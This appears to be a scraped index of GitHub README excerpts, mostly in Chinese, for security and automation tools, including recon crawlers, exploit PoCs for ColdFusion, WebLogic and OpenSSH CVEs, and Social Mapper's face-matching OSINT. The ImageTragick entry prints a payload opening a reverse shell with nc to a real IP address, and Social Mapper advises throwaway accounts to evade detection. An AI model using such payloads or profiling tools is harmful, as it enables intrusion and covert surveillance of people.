social_mapper

Social Mapper 此工具已不再积极维护，部分功能可能仍可工作，我接受拉取请求以使其保持最新 警告：Facebook 现已能在几百次搜索后检测到此工具，请仅使用一次性 Facebook 账户 一款通过面部识别关联社交媒体个人资料的映射工具，由 Jacob Wilkin Greenwolf 开发。 Social Mapper 是一款开源情报工具，利用面部识别大规模关联不同平台上的社交媒体个人资料。它采用自动化方法，在流行的社交媒体网站上搜索目标姓名和图片，准确检测并分组一个人的存在，将结果输出为报告，供人工操作员快速审阅。 Social Mapper...

security-study-plan

一个实用的学习计划，旨在帮助你成为成功的网络安全工程师，涵盖渗透测试、应用安全、云安全、DevSecOps等角色，提供免费/付费资源、工具和概念，助你精通技能。 内容涵盖但不限于： 已完成 1. 网络安全学习计划通用技能 2. AWS 安全学习计划 3. GCP 安全学习计划 4. Web 渗透测试学习计划 5. 应用安全测试计划 6. API 安全学习计划 7. 威胁建模学习计划 8. GRC 学习计划 9. Azure 安全学习计划 10. DevSecOps 学习计划 11. Docker 安全学习计划 12. Kubernetes 安全学习计划 13. 网络安全学习计划 14...

torchat

TorChat - 匿名 P2P 聊天 通过 Tor 网络进行安全、私密且匿名的点对点聊天。 什么是 TorChat？ 它是一款轻量级、隐私优先的消息工具，让你无需任何中心服务器即可通过 Tor 网络直接与他人通信。它专为那些深切关注隐私、安全和简洁性的人而设计。 TorChat 的特别之处 TorChat 真的很酷。 它拥有一些其他工具所没有的酷炫功能。 与使用永久地址的标准 Tor 聊天系统不同，此实现完全是临时的。 零持久化：服务器会创建一个临时隐藏服务。一旦会话结束，.onion 地址即被删除，无法恢复或重用。 混合架构：我注意到托管 Tor...

ShonyDanza

ShonyDanza 一个可定制、易于导航的工具，利用Shodan的力量进行侦察、渗透测试和防御。 使用ShonyDanza，你可以： 基于搜索条件获取IP 根据预先配置的阈值自动从结果中排除蜜罐 预配置所有IP搜索以根据指定的网络范围过滤 预配置搜索限制 使用“构建搜索”功能通过简单的构建块来制作搜索 使用预设搜索并预配置你自己的预设搜索 检查IP是否已知的恶意软件C2 获取主机和域名配置文件 按需扫描 查找漏洞利用 获取搜索和漏洞利用的总计数 自动将漏洞利用代码、IP列表、主机配置文件、域名配置文件和扫描结果保存到ShonyDanza中的目录 安装 git clone...

skyvern

🐉 使用LLM和计算机视觉自动化基于浏览器的工作流程 🐉 Skyvern 使用LLM和计算机视觉来自动化基于浏览器的工作流程。它提供了一个与Playwright兼容的SDK，在Playwright之上增加了AI功能，并且还包含一个无代码工作流构建器，帮助技术用户和非技术用户在任何网站上自动化手动工作流程，取代脆弱或不可靠的自动化方案。 传统的浏览器自动化方法需要为网站编写自定义脚本，通常依赖DOM解析和基于XPath的交互，而一旦网站布局发生变化，这些脚本就会失效。 Skyvern不再仅依赖代码定义的XPath交互，而是利用视觉LLM来学习和与网站交互。 工作原理...

skyvern

🐉 Automate Browser-based workflows using LLMs and Computer Vision 🐉 Skyvern automates browser-based workflows using LLMs and computer vision. It provides a Playwright-compatible SDK that adds AI functionality on top of playwright, as well as a no-code workflow builder to help both technical and...

BloodSOCer

BloodSOCer BloodSOCer 是一款 Python 自动化工具，它聚合来自多个来源的威胁情报数据（Mitre ATT&CK、Sigma 规则、Atomic Red Team），并生成 OpenGraph 格式的 JSON 文件以导入 BloodHound。如果配置中定义了 API Token，BloodSOCer 还可以将文件上传到 BloodHound，并为自定义对象设置图标。安全分析师可以随后从任意角度可视化这些数据，同时项目还提供了一些 Cypher 查询，帮助您快速上手。 目标 这个项目背后的想法是帮助 SOC 绘制其对 Mitre ATT&CK...

hakrawler

Hakrawler 用于收集URL和JavaScript文件位置的高速Go语言网络爬虫。这基本上是优秀的Gocolly库的一个简单实现。 使用示例 单个URL： echo https://google.com | hakrawler 多个URL： cat urls.txt | hakrawler 每行标准输入的超时时间设为5秒： cat urls.txt | hakrawler -timeout 5 通过代理发送所有请求： cat urls.txt | hakrawler -proxy http://localhost:8080 包含子域名： echo https://google.co...

hakrawler

Hakrawler Fast golang web crawler for gathering URLs and JavaScript file locations. This is basically a simple implementation of the awesome Gocolly library. Example usages Single URL: echo https://google.com | hakrawler Multiple URLs: cat urls.txt | hakrawler Timeout for each line of stdin after...

CVE-2026-48282

CVE-2026-48282-POC CVE-2026-48282 是 Adobe ColdFusion 远程开发服务 RDS 中的一个路径遍历 漏洞，CVSS 评分为 10.0（严重） 。它允许未经身份验证的攻击者通过 /CFIDE/main/ide.cfm 端点读写任意文件，从而导致远程代码执行 RCE 。 安装 克隆仓库 git clone https://github.com//CVE-2026-48282.git cd CVE-2026-48282 安装依赖（仅需要 requests） pip install -r requirements.txt 用法 单个目标 -t 检查漏...

cve-2018-15473

CVE-2018-15473 OpenSSH直到7.7版本存在用户枚举漏洞，原因是在包含请求的数据包完全解析之前，未对无效认证用户的延迟退出进行处理，涉及auth2-gss.c、auth2-hostbased.c和auth2-pubkey.c。 安装 您可能需要安装您发行版对应的 openssl-dev 包 NOTE: if you're installing on kali, you can skip the pip install; paramiko is already there. git clone...

proxy

git-pkgs proxy A caching proxy for package registries. Speeds up package downloads by caching artifacts locally, reducing bandwidth usage and improving reliability. Version Cooldown Most supply chain attacks rely on speed: a malicious version gets published and consumed by automated pipelines...

badkeys

badkeys 用于检查加密公钥已知漏洞的工具和库 是什么？ badkeys 检查各种格式的公钥是否存在已知漏洞。网页版可在 badkeys.info 找到。 安装 badkeys 可以通过 pip 安装： pip3 install badkeys 你可能想使用虚拟环境。有关不同安装选项的详细信息，请 查阅官方 Python 文档。或者，你也可以直接从 git 仓库调用 ./badkeys-cli 。 你可以在 Repology 上找到 Linux 发行版和其他操作系统的 badkeys 软件包概览。 用法 在使用 badkeys 之前，你需要下载黑名单数据： badkeys...

ImageTragick_Poc

ImageTragick POCs RCEPOC push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|bash -i &...

pico-usb-wifi

= pico-usb-wifi :toc: macro :toclevels: 3 :idprefix: :idseparator: - pico-usb-wifi 是适用于 Raspberry Pi Pico W 的固件，将其转变为无需驱动的 USB Wi-Fi 适配器，枚举为 USB CDC-NCM 设备。 :figure-caption: AI Slop .pico-usb-wifi Diagram image::images/openrouter-banana2-rpi-pico.png 该固件作为透明的二层桥接器工作，在 Pico W 的无线接口与 USB 接口之间转发帧。 主...

POC-CVE-2026-60206

CVE-2026-60206 — Oracle WebLogic SAML 认证绕过 CVSS 9.9 — Oracle WebLogic Server Core 中的 SAML 认证绕过。 受影响版本：12.2.1.4.0 14.1.1.0.0 14.1.2.0.0 15.1.1.0.0 ⚠️ 仅限授权的安全测试。 安装 git clone https://github.com/imbas007/CVE-2026-60206.git cd CVE-2026-60206 pip install -r requirements.txt 用法 单个目标 检测版本 + SAML 端点...

gf

gf A wrapper around grep to avoid typing common patterns. What? Why? I use grep a lot. When auditing code bases, looking at the output of meg, or just generally dealing with large amounts of data. I often end up using fairly complex patterns like this one: ▶ grep -HnrE...

gf

gf 一个围绕 grep 的包装器，用于避免重复输入常见模式。 是什么？为什么？ 我经常使用 grep。在审计代码库、查看 meg 的输出，或者只是处理大量数据时，我最终经常会使用像这样相当复杂的模式： ▶ grep -HnrE '$POST|GET|COOKIE|REQUEST|SERVER|FILES|php://input|stdin' 在输入所有这些内容时很容易出错，而且你很难判断没有任何结果是因为确实没有可找到的内容，还是因为你写错了模式或选择了错误的标志。 我编写了 gf 来为我经常使用的模式和标志组合赋予名称。于是上面的命令变得很简单： ▶ gf php-sources...

spring4shell_victim

spring4shellvictim Aplicación Spring intencionalmente vulnerable para probar CVE-2022-22965 Para más información: https://www.fracturelabs.com/posts/effective-spring4shell-scanning-exploitation/ Uso Construcción El siguiente código creará rápidamente una imagen Docker vulnerable usando los...

algo

Algo VPN Algo VPN is a set of Ansible scripts that simplify the setup of a personal WireGuard and IPsec VPN. It uses the most secure defaults available and works with common cloud providers. See our release announcement for more information. Features Supports only IKEv2 with strong crypto AES-GCM...